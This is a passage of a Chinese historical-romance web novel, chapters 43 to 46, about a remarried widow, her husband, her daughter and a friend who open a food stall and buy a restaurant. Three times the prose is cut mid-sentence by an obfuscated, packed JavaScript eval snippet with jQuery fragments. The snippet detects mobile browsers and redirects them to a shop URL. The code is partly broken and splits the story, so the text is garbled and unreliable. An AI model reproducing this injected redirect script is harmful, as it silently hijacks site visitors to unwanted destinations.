沈婉仪背对着他,不知道他此刻脸上的神情,只能听到他不辨喜怒的声音,“阿婉,那你喜欢吗?” 43. 第 43 章 沈婉仪下意识就想回答“喜欢”,毕竟这样一个技艺精湛、力道适中的“师傅”替你按摩,谁会不喜欢呢?但话到嘴边,却又觉得不妥。 这样的情景下直接说出这两个字恐怕会让人多想。 于是她斟酌后答道,“大人替我按过之后身上的酸痛减轻了不少,只是难免会觉得劳烦了大人。” “说什么劳烦。”见她没回答是否喜欢,柳青砚倒是也没强求。 他手上的动作未停,状似不经意地问道,“阿婉,最近这几日,你怎么不唤我夫君了?” “只是觉得叫大人还是更顺口些。”自从带着陈伯去祭拜过梁钺后,沈婉仪便很少开口唤他“夫君”了,但她都是挑的没人的时候唤的“大人”,倒不会引人怀疑。 柳青砚无奈,“阿婉,成亲时我便告诉过你,当心隔墙有耳。现在我们成亲已有月余,若是你实在不习惯,就不用唤我‘夫君’了,叫我‘青砚’就行。” “青砚”二字确实比“夫君”更容易叫得出口些,沈婉仪想起之前她和梁盈说她和柳青砚还没熟悉到叫名字的程度,其实“夫君”这称呼何尝又不是需要熟悉的人才可称呼呢? 她那时只把这当成做戏,现在想来这连月来她既能唤出“夫君”了,现在这“青砚”两字又有何难? 她沉默半响,才开口,“那我之后就唤大人‘青砚’了。” “嗯。” “对了,怎么没见阿盈过来呢?” “她刚刚和我一起过来的。她今日醒得早,白日又玩了一整日未曾歇息过,过来见你睡着了,我便让兰黛先带她回去歇息了。” 说起这个,沈婉仪向后摆了摆手,示意他停下来,他收回手后,她起身下床。 “我听芸香说,阿盈今日梦魇是你安抚的她?”她微微俯身行了一礼,“多谢。” 柳青砚将她扶起,“阿婉,要什么时候你才能不对我说谢?” 沈婉仪还真仔细想了想,“或许等到不亏欠大人......你的时候吧。” 柳青砚轻叹一声,没有说话。 他当初想的是她若觉得亏欠于他,那想必之后他若提出请求她必定很难拒绝,但没想到这份亏欠却成了她一次次划清界限的理由。 他长舒一口气,强令自己转移话题,“阿婉这么劳累,想必今日开业的客人一定很多。” 说起这个,倒是打开了沈婉仪的话匣子,她邀他在一旁坐下,开始绘声绘色地给他讲起今日的生意有多么红火。 柳青砚用手撑着下颌,歪着头认真地听她讲着。 “......到最后,排队的客人都快拐出怀安街了。” 想起白天那番热闹的场景,沈婉仪脸上的笑容就没有消失过,毕竟在今日之前,她和江霁月谁也不知道她们做的这些东西能不能受到大家的喜爱。 “那有些可惜了,今日太忙,我没有亲眼见到这番盛况。”柳青砚惋惜道。 “不过,”他话锋一转,“想来这番盛况日后会经常看到,也不必急于这一时了。” 这话奉承的意味很浓,但沈婉仪对上他那目不转睛的眼神,却又觉得他是真心实意的。 “那就借你吉言了。” “阿婉,你明日又要起早,今晚也早些歇息吧。” “嗯。”沈婉仪说完,见他起身又往外走,不由地关心了一句,“今晚还要熬夜吗?” “还需整理下证据,不过没有多少了。” 沈婉仪记得芸香来回话时给她说的他是忙完了才陪着梁盈的,她想到了什么,皱起眉头看向他,“该不会是阿盈缠着你一起,才耽搁了你的事吧?” “没有,你别多想。阿盈来找我时,我手上的事已经处理得差不多了。” 说着怕她不信,他又紧跟着补了一句,“我刚刚替你揉肩时,忽地想到了这案件的一个关键线索,所以这才想去看看。” 沈婉仪自己的女儿她还是了解的,“只要别耽搁了你的事就行。” “没耽搁。阿婉,你别担心。” “那就好。” 见她放心之后,柳青砚转身欲走,刚走到院门口却又被一句话给叫住。 “青砚,你等等。” 他缓缓回身,漆黑的瞳孔映着廊檐下的昏黄的暖光,仿佛有一道温芒在其眸中绽开,连带着其周身都泛起了暖意。 沈婉仪步履匆匆地跑出来,手臂上搭着一件墨色的披风,“夜里寒凉,把这件披风披上吧。” 柳青砚没立即应声,只默不作声地垂眸望着她,目光沉沉,似有千言万语在喉间辗转。 但最后他只低声应了一句,“嗯。”便伸手把披风接了过来。 “阿婉,你也快回屋吧,这外面风大,别着了凉。” 沈婉仪轻声道,“我准备先去看看阿盈,待会再回房。” 见他仍留在原地,沈婉仪知道他在先等自己离去,于是也不再停留,转身去了梁盈的院子。 果然,待看到她进了门,柳青砚才挪动了脚步朝书房的方向走去。 沈婉仪到梁盈房中的时候,她正睡得香甜,她并没有打搅她,只在她的小脸上留下了一个吻。 梁盈在梦中虽也感觉到小脸痒酥酥的,却也没有醒过来,只迷迷糊糊呓语道,“爹爹,娘亲......” 沈婉仪还以为她是梦见了梁钺和自己,并没有多想,只笑了笑,轻柔地将她的小手重新放到软被下盖好。 待做完这一切,她才放心回房准备休息。 * 增加了每日贩卖的数量之后,两人早晨花在准备工作上的时间也随着变长了一些。于是沈婉仪和江霁月昨日便达成了一致意见,将营业时间向后调整,直接调到午时。 营业时间向后延长之后,沈婉仪第二日起床的时间也比前一日晚了一些,她梳洗完毕时梁盈也正好过来给她请安。 请完安后,她用她那圆溜溜的大眼睛看着沈婉仪,“娘亲,今日你会早些回来吗?” 沈婉仪蹲下身来将她抱起朝饭厅走,边走边回,“娘亲也不确定,若是忙完的时候早,那应该会早些回来。” “啊?我和爹爹还想等你回来一起用晚膳呢。” 沈婉仪脚步一顿,动作僵硬地低下头,看向怀中的女儿,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249761|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说......谁?”声音有些发紧。 她每日让梁盈睡前看着画像认人,此刻听见梁盈叫爹爹,沈婉仪的第一反应便认为她说的人是梁钺。 明知那人已死,不可能再出现在这里,但此刻听见女儿提起,沈婉仪的心里还是闪过一丝若有若无的期盼。 梁盈没看出母亲的异常,仍仰着一张粉雕玉琢的小脸天真重复道,“我,爹爹和你,我们一起用晚膳呀。” 看着母亲怔然的模样,梁盈又补充了一句,“就和我们平时用早膳时一样。” 沈婉仪这才意识到她说的爹爹是在指柳青砚。 说不上是失望还是其他,她喉间发涩,一时竟发不出声音。 半响,她脸上又重新出现那熟悉的温婉笑容,故作轻松地问,“阿盈怎么想起叫他爹爹了?之前不是都叫他父亲吗?” 梁盈想起昨日柳青砚给她说过的那些话,道,“爹爹昨日教我,父亲就是爹爹,爹爹就是父亲,两者其实没什么不同。” 说起这个,梁盈把自己昨日留着的疑问终于问出了口,“娘亲,如果这样的话,我不就有两个爹爹了吗?” 如果他们同时在的话,我该叫谁爹爹呢? 后面那句话其实才是梁盈最想问出口的话,但她知道由于某些原因,这个假设其实是不存在的,而且若真是问出口来,说不定又会惹娘亲伤心了。 沈婉仪耐心地提醒她,“阿盈忘了?娘亲成亲之前和你说过的,阿盈确实有两个爹爹的,一个是阿盈的亲爹爹,一个后面来的新爹爹。” 梁盈不解,“可是我看私塾里面的伙伴她们都只有一个爹爹呢。” 沈婉仪刚想开口替她解惑,忽听见一道清冽的声音从背后响起。 “那她们就比阿盈少了一个爹爹护着了。” 母女俩同时回头。 只见柳青砚穿着绯色官服缓步靠近,虽是艳丽的颜色他的周身却没有半分张扬之气,只带着一身沉静温和的气息。 看到他,沈婉仪便把怀中的梁盈准备放下让她给他请安,他微微抬手制止了她的动作。 梁盈只好在母亲的怀里给他行礼,“给爹爹请安。” 听惯了女儿叫梁钺爹爹,现在一时听她换个人这样称呼,沈婉仪一时有些不适应。 柳青砚却未曾在意这些,他眉眼尽是温和的笑意,走近摸了摸梁钺的脑袋,“阿盈的一个爹爹在天上保佑着你,另一个爹爹在身边陪伴着你,这可是其他小伙伴们都没有的福气。” 梁盈思考着,好像真的是这样,有两个爹爹那确实比有一个爹爹听上去更厉害。 他这番话心思细腻,用来安慰孩子再好不过。 沈婉仪看着他温和的侧脸,看着他看向自己女儿时那温柔至极的眼神,她忽地感觉心口有一股暖意正在往全身流动。 她想,这是因为感激吧?是因为她感激柳大人替她安慰孩子后的反应吧? 她不动声色地感受着自己的心口,那蓬勃地跳动告诉着她此刻心跳的频率有多快。 沈婉仪在柳青砚看过来的那一瞬间垂下了眼帘,她突然有些不确定了。 44. 第 44 章 沈婉仪做事的效率并未被起伏的心情所影响。 有了第一日的经验之后,她和江霁月第二日显然更加轻车熟路了起来。 她们把写好了今日备货量的牌子放在了摊子边上,江霁月甚至花时间把上面的纸张做成了翻页,这样路过的行人能够一眼看到剩余的存量还有多少。 还未到午时,两人的摊子前已经零零散散的聚起了几个人,大多数是昨日尝到味道的回头客,也有几个是昨日拿了纸条前来兑换的客人。 时间越临近午时,聚集在摊子前的客人也开始越远来越多,渐渐排起了队伍,看这架势,想来今日的客人也必不会少。 准备得差不多后,时间也来到了午时,两人迅速就位,开启今日的营业。 或许是昨日那番大排长队的模样太过引人注目,今日的客人里面显然多了不少“贵客”,贵客们有些怕自己排队显得有失身份,便遣了自己的侍从前来购买。 这其中便有张芷柔的侍女画屏。 “这位姑娘,我要两份蛋酥和两碗加了这个红糖木薯丸子的奶茶,打包带走。” “好。一共三十八文。” 画屏的视线原本正在新奇地打量着这个摊子,听到这话,她猛地抬头看向声音的主人。 “沈大姑娘?!”声音中满是震惊与不可置信。 沈婉仪听到这声称呼也停下了手中正在打包的动作,看向来人,“画屏?”声音中也有些惊喜。 她在此处,证明她表妹也在附近。 “是你家夫人遣你来买的吗?” 画屏僵硬地点点头,显然还未从老板竟是她的这件事中反应过来。 沈婉仪把装好了的东西递过去,“那便不收你的钱了,回去让你家夫人吃了之后给我们提提建议。” 画屏直到上了马车都还有些魂不守舍,张芷柔轻咳两声,她这才回过神来,将装着蛋酥的袋子递过去。 “夫人,沈大姑娘......柳夫人叫您趁热吃,这样口感会比较好。” 张芷柔疑惑,“柳夫人?表姐?她也派人去买了?” 画屏摇了摇头,“柳夫人是这摊子的老板。” 张芷柔显然也不敢置信,一双原本斜长的丹凤眼此刻睁得溜圆,语调也因为惊讶而略显得怪异,“你是说我表姐在这人来人往的街道上抛头露面煎肉饼?” 画屏想了想刚刚看到的一幕,解释道,“煎肉饼的另有其人,柳夫人主要负责卖奶茶和蛋酥。” 张芷柔冷哼一声,“这有什么不同吗?”她掀开车帘看向马车外来来往往的行人,“不照样还是在抛头露面?” 若表姐只是在幕后安安心心当老板便算了,偏偏她还选择站在这最前面招揽生意,此处人多眼杂,恐怕从昨日开始,她在此处卖吃食这件事便已经私底下到处传开了。 张芷柔眉头紧锁,她想起她表姐成婚时那柳大人骑着高头大马的模样,面上看上去虽清俊,却不想低下却是这般亏待自己夫人的货色,这才两个月不到就已经暴露本性了。 若是沈婉仪此刻在这里听见她内心的想法恐怕要哭笑不得了,她好好地拿自己的手艺赚银子,不晓得表妹是如何将此事和柳青砚扯上关系的。 张芷柔的想法再简单不过,在她眼里看来,她表姐之前嫁给那梁将军时,那婚后的日子可谓是再滋润不过。 虽二人不时常待在一块,但表姐待在家中只需伺候一个祖母,并无其他家长里短可供攀扯,那梁家几代都是将军,家产颇丰,花起银子来也不必缩手缩脚。 可看现在,表姐嫁给这柳青砚后过得是什么日子,都不说享福了,这每日出来折腾一天累得要死要活的,不把身体折腾出病来都不错了。 “这柳青砚还说是御史呢,我表姐嫁过去还没两个月呢,他府上就已经穷得揭不开锅了?” 张芷柔看着远处忙碌的纤细身影,替她不值的同时也抱怨着,“表姐也真是的,若真是没钱大可回去找表姨直言啊,再不济找我也行,怎么就脑子一热开始出来干起了这般营生。” 想着想着,她忽地灵光一闪,“还是说表姐不想让表姨她们知道?” 但这想法刚浮现出的下一秒,她就自己否决了这个答案。 怀安街本就繁华,任何人都有可能会经过此处,表姐这个摊子不过昨日才开始营业,她今日便听到了消息派画屏前去购买。 而比她消息更为灵通的表姨和表姨父,只会更早知道这个消息,这么简单的道理,表姐不可能不懂。 看来表姐她一开始就没打算瞒着他们,也不知表姨和表姨父知道了表姐的情况后会作何反应。 按照她对表姨和表姨父的了解,若是这二人提前知道他们的宝贝女儿要做这个营生,那定然是断不会同意的,就算是之后得知这个情况,恐怕也会先关心表姐的难处,再苦口婆心地劝她停手,也不知表姐到时会如何应对。 她如此为沈婉仪操心着,但正主此刻并不知晓她的心思,她正在忙着接待堂食的客人。 但连自己的表妹都知道的事,沈婉仪作为沈国公夫妇的亲生女儿当然也知道。就是为了怕他们两人不同意,她才选择的先斩后奏。 虽然她之前和江霁月说起这件事时那么轻松,但实际上她是瞒着她父母做的这件事。 按照她父亲平日里的做事习惯,想来昨日收摊时就会有一架马车接着她去沈国公府了。但昨日沈婉仪直到回到柳府,都没看见沈国公的来人,这反而有些出乎她的预料。 没有人来接她回去说教,按理说沈婉仪应当乐得自在,但她实际上却没有想象的那么开心。 沈婉仪知道自己失为何如此,因为她想得到亲人的理解和支持。 从小到大,在长辈眼里她一直是个孝顺懂事的孩子,因为对于他们的命令和吩咐,她向来只会遵守和顺从,很少有忤逆他们的时候。 她之前不想二嫁算是第一件忤逆他们的人生大事,可这后来也被永安王世子逼婚,柳青砚求亲给打破了。 她现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264485|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在和江霁月一起出来摆摊应该算是第二件忤逆他们的事,虽然沈父沈母还没有为着此事来找她,但沈婉仪心里明白,他们定是不会应允的。 她的父母很爱她,这件事沈婉仪一直都知道,她的父母很看重沈国公府的面子和地位,这件事沈婉仪也知道。 但当这两件事发生冲突时,沈婉仪很清楚自己会排在后面。 他们先会晓之以情、动之以理地劝她;若是她不听,他们便会搬出祖宗礼法、门第规矩来压她;若是她还不为所动,那他们便会声泪俱下地讲述这些年生养她的“不易”,她的反抗在他们这些“不易”面前像是什么天大的罪过。 沈婉仪往往会在最后一关被拿下,因为她害怕看见父母的眼泪,这让她觉得自己很对不起他们。 她其实在心里假设过,如果这次她父亲母亲又故技重施,那她该如何招架?是缴械投降?还是绝不让步? 其实......直到这个摊子开起来之前,她内心都还没有得出一个确切答案,但只经过昨日一整日,她就已经在心里下定了决心——她会继续做下去的。 这次不管父亲母亲说了什么,又或是做了什么,她都不会妥协的。 但话虽如此,如果这件事父亲和母亲支持她,沈婉仪想,那不管任何人说了任何话,她都可以不在乎了。 其实,早在她第一次成功做出汉堡和蛋挞这些东西的完美成品时,她就拿着这些东西回过一趟国公府了。 当时父亲母亲品尝了之后倒是都赞不绝口,但她也只是得到了类似“婉婉的厨艺渐长了”“我家婉婉现在是上得厅堂,下得厨房的人了”的评价,再也没有多的什么。 与之而来是父母关于她婚后生活的叮嘱,要相夫教女,要贤惠持家,要...... 尽管这些话她早在和梁钺成亲前已经听过一遍,但沈父沈母仍然还是不厌其烦地再叮嘱了她一遍。 甚至因为那时她才与柳青砚成婚不久,就以这个理由让她早些回去,别在国公府过夜,以免落人话柄。 沈婉仪虽知道那是规矩,但难免会觉得失落,她回复江霁月的那句“在家从父、出嫁从夫”的话术,她也是从那日得出来的。 让她别出门抛头露面是规矩,出嫁从夫也是规矩,那规矩之间相矛盾,那她该选哪个规矩? 沈婉仪其实挺想从她父母口中知道这个答案的,但现在她还是先把此事放一边吧,因为她还有更紧急的事要做。 此刻已经日上中天,日头晃得人睁不开眼,日头如此毒辣,沈婉仪她们的摊子前队伍的长度却仍然不减,非但如此还隐隐约约有加长的趋势。 沈婉仪抬起手遮住眉眼上方的阳光,踮起脚眯起眼朝后望了望后面排着的长队。 现在不是想这些问题的时候,她得加上手上的速度了。她抛开脑中的一切杂念,加快手上的速度,想着让后面的客人等待的时间尽量少一些。 让沈婉仪没想到的是,这事再被提起已经是两个多月后的事了。 45. 第 45 章 隆冬腊月,凛冽寒风卷着鹅毛般的大雪一连下了好几日,路上的行人都少了许多。 沈婉仪和江霁月这种时候才知道她们二人的这个铺子有多么简陋,四处并没有挡风的围挡,客人光是在这外面坐着都冷得坐不住。 也是为此,这几日连往日里经常堂食的客人都选择了打包带走。 沈婉仪和江霁月一合计,干脆直接将摊子暂时关门,安安心心回府过年。 并且趁着这段时日,刚好也可以把她们的摊子做一番改造,这样等到正月再开始营业时,她们的摊子就会焕然一新了。 不对,那时候,便不能再将其称之为摊子了,而是酒楼才对。 所谓的酒楼并不是直接将摊子改成酒楼,而是将摊子收起,后面的小厨房进行扩建,将其和边上酒楼原本的厨房合二为一,整个一起作为酒楼的后厨。 说起来两人能买下原本位于隔壁的酒楼也是运气。 此时已是腊月下旬,有些家不在上京城的店主会选择回家过年,沈婉仪和江霁月摊位隔壁的店主就是这样。 与她们两人不同的是,隔壁店主的酒楼并不是租的,而是当初倾家荡产直接买下来的。 这可是开在繁华路段的酒楼,前期投入的银子比起沈婉仪她们可谓是翻了七八倍不止,为着这巨额的成本,想要赚钱菜品的价格自然也是低不了。 沈婉仪之前和江霁月忙到晚上不想自己下厨时,偶尔也去这家味美楼吃过一两次,味道还行,但若是专门为这跑一趟,她觉得没有必要。 很显然很大一部分客人也这样想,所以这家酒楼原本开业的一两年生意还行,之后这几年随着万鹤楼的生意越来越火爆,生意也渐渐萧条了。 大概是上个月,江霁月拿着新口味汉堡去隔壁串门时,偶然看到店主王然正一脸不耐烦地将万鹤楼老板赶出去,她去一问才知道,原是他正在找下家,打算今年回老家过完年后就不来了。 这万鹤楼的店主雷义听到了风声,立刻兴高采烈地跑过来说要接下,只是出的价比起王然的预期少了一半。 王然的出价本就是已经低于了市价,见对方又是死对头,又这般趁火打劫、刻意压价,心里硬是气不打一处来,当场就冷了脸,将人给赶了出去。 后来这雷义又腆着脸来过好几次,价格虽抬到了六成,最后甚至是七成,但无一例外都被扫地出门。 最后一次,也就是江霁月看到的那次,他也被一而再再而三地拒绝给惹恼了,撂下狠话,拂袖而去。 而那段狠话的内容,江霁月回来时也原封不动地讲给了沈婉仪听。 “我已经放了话,在这上京,若是谁要是接手了你的这个酒楼,便是和我万鹤楼作对!我看今后你这个酒楼谁敢接,!若是不卖给我,那你便一直烂在手里吧!” 雷义讲出这段话也是有几分底气在的。 一来,万鹤楼这几年的生意的确实越来越红火,现在可以甚至说是上京城酒楼里独一档的存在,有许多达官贵人都成了他家的常客。 二来,有传言说,雷义并非万鹤楼真正的主人,万鹤楼真正的主人应是皇家中人。 虽不知道第二条传言孰真孰假,但无疑是又是给雷义的脸上镶了金子,这两条加在一起确实会让上京城的酒楼行当给他几分薄面。 所以他这番话不算是空话。 但沈婉仪听到这事后却想赌一把,原因是这味美楼的位置实在优越,处在繁华路段不说,而且刚好就在沈婉仪他们小摊子的隔壁,可谓是为她们的小厨房量身打造的一个酒楼。 并且店主还着急赶在年前出手,价格十分优惠。 江霁月原本将此事讲给她听,只是当做闲谈,却没想到她听完后当即便决定要盘下这家酒楼,她当场脱口而出,“婉婉,你不怕被报复吗?” 虽说她也知道这酒楼的价格实惠,但这雷义她们确实惹不起。 婉婉虽然有一定的家世背景,可若是那传言说的是真的,那婉婉这背景在皇权面前就有些不够看了,更别说她这种连家世低的排不上号的人了。 “怕是怕,但是错过这个村可就没这个店了。” 沈婉仪垂眸细细分析道,“所谓的报复手段,无非都是一些陷害、造谣、压价格、抢客源的手段,若是提前有应对之策,这些都不是什么难事。” “话是这样说没错。”江霁月摸摸下巴,提出疑问,“若是他派人帮了我们的家人用来威胁我们怎么办?” 在现代她也是看过不少电视剧和小说的人,绑人威胁这手段,在商战中可没少出现过。 “届时新的酒楼开业时,对外只说我是店主,隐去你的身份。这样无论那个传言是不是真的,他都不敢轻易动手。” 江霁月本身其实不怕与人动手,她只怕牵累她娘,所以尽管她在现代是个散打冠军,穿越过来后在她那个“爹”面前也装的是一副窝囊样子。 不过等到明年她们的酒楼开业之后,赚的银子数量定会很可观,到时候她就可以将娘亲接出来了。她抬起手来和她击掌,“好,那我们就去把酒楼买下来。” 她们当时找店主说这事的时候,店主明显喜出望外,但他冷静下来后开始担心二人遭到报复,便打算回绝她们。待沈婉仪告知她的身份之后,店主这才转变主意。 他那时还略显讶异地说,“我还以为世家大族的姑娘都是十指不沾阳春水的呢,见到姑娘才知我这是少见多怪了。” 沈婉仪只笑笑,“还是师父教得好。” 旁边站着的“师父”听到这话朝着她挤了挤眼。 那日之后,两人便买下了这家酒楼,店主原本还想给她们打个折,但拗不过两人非要按原价购买,只好无奈答应,但酒楼里面的各种器具他都免费赠送给了她们。 店主离开上京时,两人都去送了他,他与她们道别时,甚至还有闲心与她们玩笑,“要不是当年来上京的时候,我妹妹还小,不然凭借她的手艺,我这味美楼怎么也得和那个万鹤楼分庭抗礼,也不至于现在灰溜溜地回家去。” 两人这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277532|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道原来店主还有个厨艺极佳的妹妹留在老家,江霁月当即发出邀请,“若是妹妹以后有来上京的打算,店主您让她来找我,我保证让她的厨艺名满上京。” 这话有些狂妄,她们两人开的那个摊子虽生意还不错,但也不至这般夸下海口,王然没放在心上,只当她是在安慰他,于是也应承下来,“一定,一定。”他说完便挥着手走了。 两人用他交给她们的钥匙,打开了味美楼的门,在发现后厨距离她们的小厨房仅有一墙之隔的距离后,当时就决定要将两处打通,扩建厨房。 而现在她们将摊子暂时关闭之后,刚好有时间用来改造这两处,不仅如此,江霁月还将原来酒楼的布局修改了一番,视野变得开阔的同时,楼内的空间利用率也增高了。 两人将这些时日赚的钱全部投了进去,不够的部分,沈婉仪原计划还是由她来补足,但这次江霁月却按住了她的手,向她笑嘻嘻道,“这次我来。” 她拿来一个小木匣打开给她看,里面是一沓厚厚的银票。 沈婉仪抿紧了唇,道,“霁月,你不必如此为难自己,我之前不是告诉过你,我们之间不用分这么清的吗?” 她知道江霁月在江府的处境,见她一下拿出这么多银票,不由地猜测她是不是变卖了自己贵重首饰。 江霁月拍了拍她的肩,“婉婉,你不用担心,我还不至于掏空家底让自己之后连顿饭也吃不起。这是我娘留给我的嫁妆。” 她之前赚了钱回府时由于太过得瑟,在她娘面前说漏了嘴,她姨娘得知此事后,将为她准备的嫁妆都提前拿了出来。 江霁月说起此事,喉头哽了哽,鼻尖又开始泛酸。 “我娘她那么胆小如鼠的人,竟然在江府那种吃人不吐骨头的地方替我攒了这么多嫁妆。” “我以前……总觉得她太软弱,觉得她不懂反抗,甚至觉得她活得太窝囊。” 她声音发颤,带着穿越而来的、迟来的感同身受。 “可我现在才明白,她这都是为了我,为了她这唯一的女儿。她在府里活得低声下气,可就是这样低声下气,委曲求全的她,却为了我攒了这么多的嫁妆。” 江霁月此时仿佛真的成了那个“江霁月”,眼眶中的泪水也再也控制不住夺眶而出。 沈婉仪抬起手想为她眼泪,她却赶在她动手之前,一把将眼泪擦干,她擤了擤鼻子,“我要用这钱来生钱,把她接出来过好日子!” “我要给她好多好多钱,给她买珠宝,给她买金银首饰,给她买大宅子,给她买......”她说着说着,眼泪竟又流了出来。 沈婉仪也被她的情绪感染,眼里沁出泪花,两个人就这样泪眼汪汪地望着对方。 不知是谁先笑了出声,随后两人都笑了开来,互相擦了擦眼泪。 江霁月道,“婉婉,我们会一起当富婆的吧。” 沈婉仪在她的科普下,早就知道这两个字是什么意思,“拥有财富的女人”。 她坚定而有力道,“好。” 46. 第 46 章 年关将近,整座上京城已然提前被年味给浸染,大大小小的街道上都挂起了醒目的红灯笼,夜晚降临时,连平日里看着冰冷的道路仿佛都被映照出了几分暖意。 将摊子暂时关门后,沈婉仪终于可以趁着这最后一段时日,将答应柳青砚的画作完成。 这几个月她很少连着休息的时候,并且偶尔休息的一两日,她也要和江霁月一起去集市里采买,到最后她往往只能趁着夜深人静时才开始作画。 她白日本就已经足够劳累,现在却因为答应自己的一个承诺又要忙至夜半,柳青砚见到她如此辛劳的模样很是过意不去,当时便和她说这画他不要了。 可惜沈婉仪答应了的事,哪能这么容易反悔,就算柳青砚在她面前如何劝说,她都定要将这幅画作完成不可。 她以往差不多都是亥时刚过不久便睡了,开始作画后,她差不多都是熬到丑时才睡。 柳青砚说服不成,无奈只好后退一步,改劝她早些休息。 沈婉仪答应了,但实际上她休息的时辰也并没有提前多久,也就只提前了半个时辰。 柳青砚于是主动请缨,要在一旁替她研墨。 他说他自从忙完了几个月前他说的那桩要案之后,一直到年前都再没有什么要事,不用再去书房熬夜,刚好可以在正房陪着她。 沈婉仪起先是拒绝的,因为她这画本就是画的是他,他在自己身边,只会让自己画得束手束脚。 哪知柳青砚听了她的这番说辞之后,却慢悠悠问她,“阿婉画的是人像,若是人不在眼前,凭何作画呢?” 凭记忆作画。她当初画梁钺的那张画像时就是这样一气呵成画出来的。 沈婉仪记得,她当时是想这样回他的,但最后因为这话题牵扯到梁钺,她最后什么也没说,只轻声答应了他。 成婚以来,每次在他面前提起梁钺,话题都会被他悄无声息地转移开来,次数多了,沈婉仪也意识到了,柳青砚大抵是不喜她在他面前提梁钺的。 其实,这也要怪她太没心没肺了些。 这些时日,她自以为与柳青砚的关系没那么生疏,于是也偶尔在他面前聊起她之前的往事来。当然,她的这些往事大多数和梁钺脱离不开。 现在想来,大概没有人愿意一直听一个讲她和另一个人过去的事,柳青砚当然也没有这义务。 更何况他还是她的恩人。 在明知别人不想听的情况下还提起,甭管是有意或是无意,沈婉仪不想再做一个这么没有眼力见的人,于是她暗暗下定决心她要少提起梁钺,最起码别在他面前。 于是,她便没有如最初的想法那样柳青砚的话,而是选择了答应他。 但这幅画和梁钺那幅画比起来却是没有那么好画的。 她当时想着按着柳青砚的喜好来,于是就去问了他想要什么样的画,谁知柳青砚却反手将问题抛给了她。 他说,“怎样都好,只要阿婉画得顺手就行。” 这话说的容易,可最开始的那几日,沈婉仪在书桌前坐了半响,却怎么也下不了笔。 她最后只好向一旁专心研磨的柳青砚尴尬地解释说自己还没有灵感,只能过一段时日再试试看。 柳青砚没有说什么,他甚至偷偷松了一口气,因为想着至少最近这段时间她能早些休息。 沈婉仪不知道他的想法,只是每晚睡前开始琢磨这幅画到底要怎样下笔。 她迟迟下不了笔的原因其实很简单,因为她不知道要画什么样的柳青砚。 梁钺那副画像,她虽是一时冲动之举,但之所以能那么顺畅的画完,完全是因为他当时那副恶劣的模样确实给沈婉仪留下了深刻的印象。 而柳青砚柳大人......他倒是一直都是一副清风朗月的模样,但要说令人深刻—— 沈婉仪脑海中立即浮现的是,那晚他红着眼惶然仰视她的模样。 那样状态下的柳大人,确实少见,也确实足够令人印象深刻。 但问题是,她这幅画作出来,到时候是要当做生辰礼物送给柳大人的,她总不能送给他一副流着泪的画像吧? 于是这个想法不过刚冒出头便被她自己否决了。 在那之后,便是他那晚在院中月华加身的模样了。 但沈婉仪其实并不想反复回忆当时的情景,毕竟那时异样的心跳,现在仿佛仍然能够感受到。 但随着时间一点点流逝,沈婉仪在翻来覆去好几个夜晚之后,最终还是选择了画这个场景下的他。 她开始动笔后,柳青砚又重新凑过来给她研磨。 别人都是夫人在一旁红袖添香,他俩倒好,却是反过来了。 因为沈婉仪每日只有一点时间可以拿来作画,甚至有时候太累了,回去洗漱完倒头就睡,连一点时间也挤不出来。 于是这画也画得断断续续,一直挨到十二月才刚进入收尾阶段。 幸亏这段时日她和江霁月关了摊子在府中休息,否则沈婉仪都不知道她能不能赶在柳青砚生辰前从容地将这幅画给画完。 腊月二十三,前几日的大雪已经停了,今日好不容易放了晴,院子里的梅花被雪光映得愈发艳丽。 柳青砚去上了值,而梁盈的私塾已经放了假,沈婉仪在房中作画时,梁盈便在她的一旁背着老师教她的诗。 背着背着,见她停了笔,梁盈便好奇地凑到了过来,奈何她的个子只和书桌差不多高,于是只好卯足劲在那踮脚。 沈婉仪不禁失笑,一俯身将她抱起坐在了自己的腿上。 这下梁盈一眼便看到了书桌上的画像,她问,“娘亲,你这画的是爹爹吗?” “对呀,你爹爹的生辰要到了,这是娘亲给他准备的生辰礼物。” “生辰礼物?” 提到这个,梁盈忽地从沈婉仪的腿上跳了下去,随即朝着门外跑去。 有兰黛跟着,沈婉仪倒是没有太担心。 不过一会儿,梁盈又跑得噔噔噔地进来了,怀里还抱着几个小泥人。 梁盈踮起脚将他们全都放在桌上,一个个向沈婉仪介绍着,“娘亲,这些都是我做来送给你们的。这个是你,这个是画像上的爹爹,这个是现在这个爹爹,这个是我。” “我的这个是留给自己的。” 沈婉仪看着这些小人,五官虽没有多精致,但外形和动作都极具个人特色。 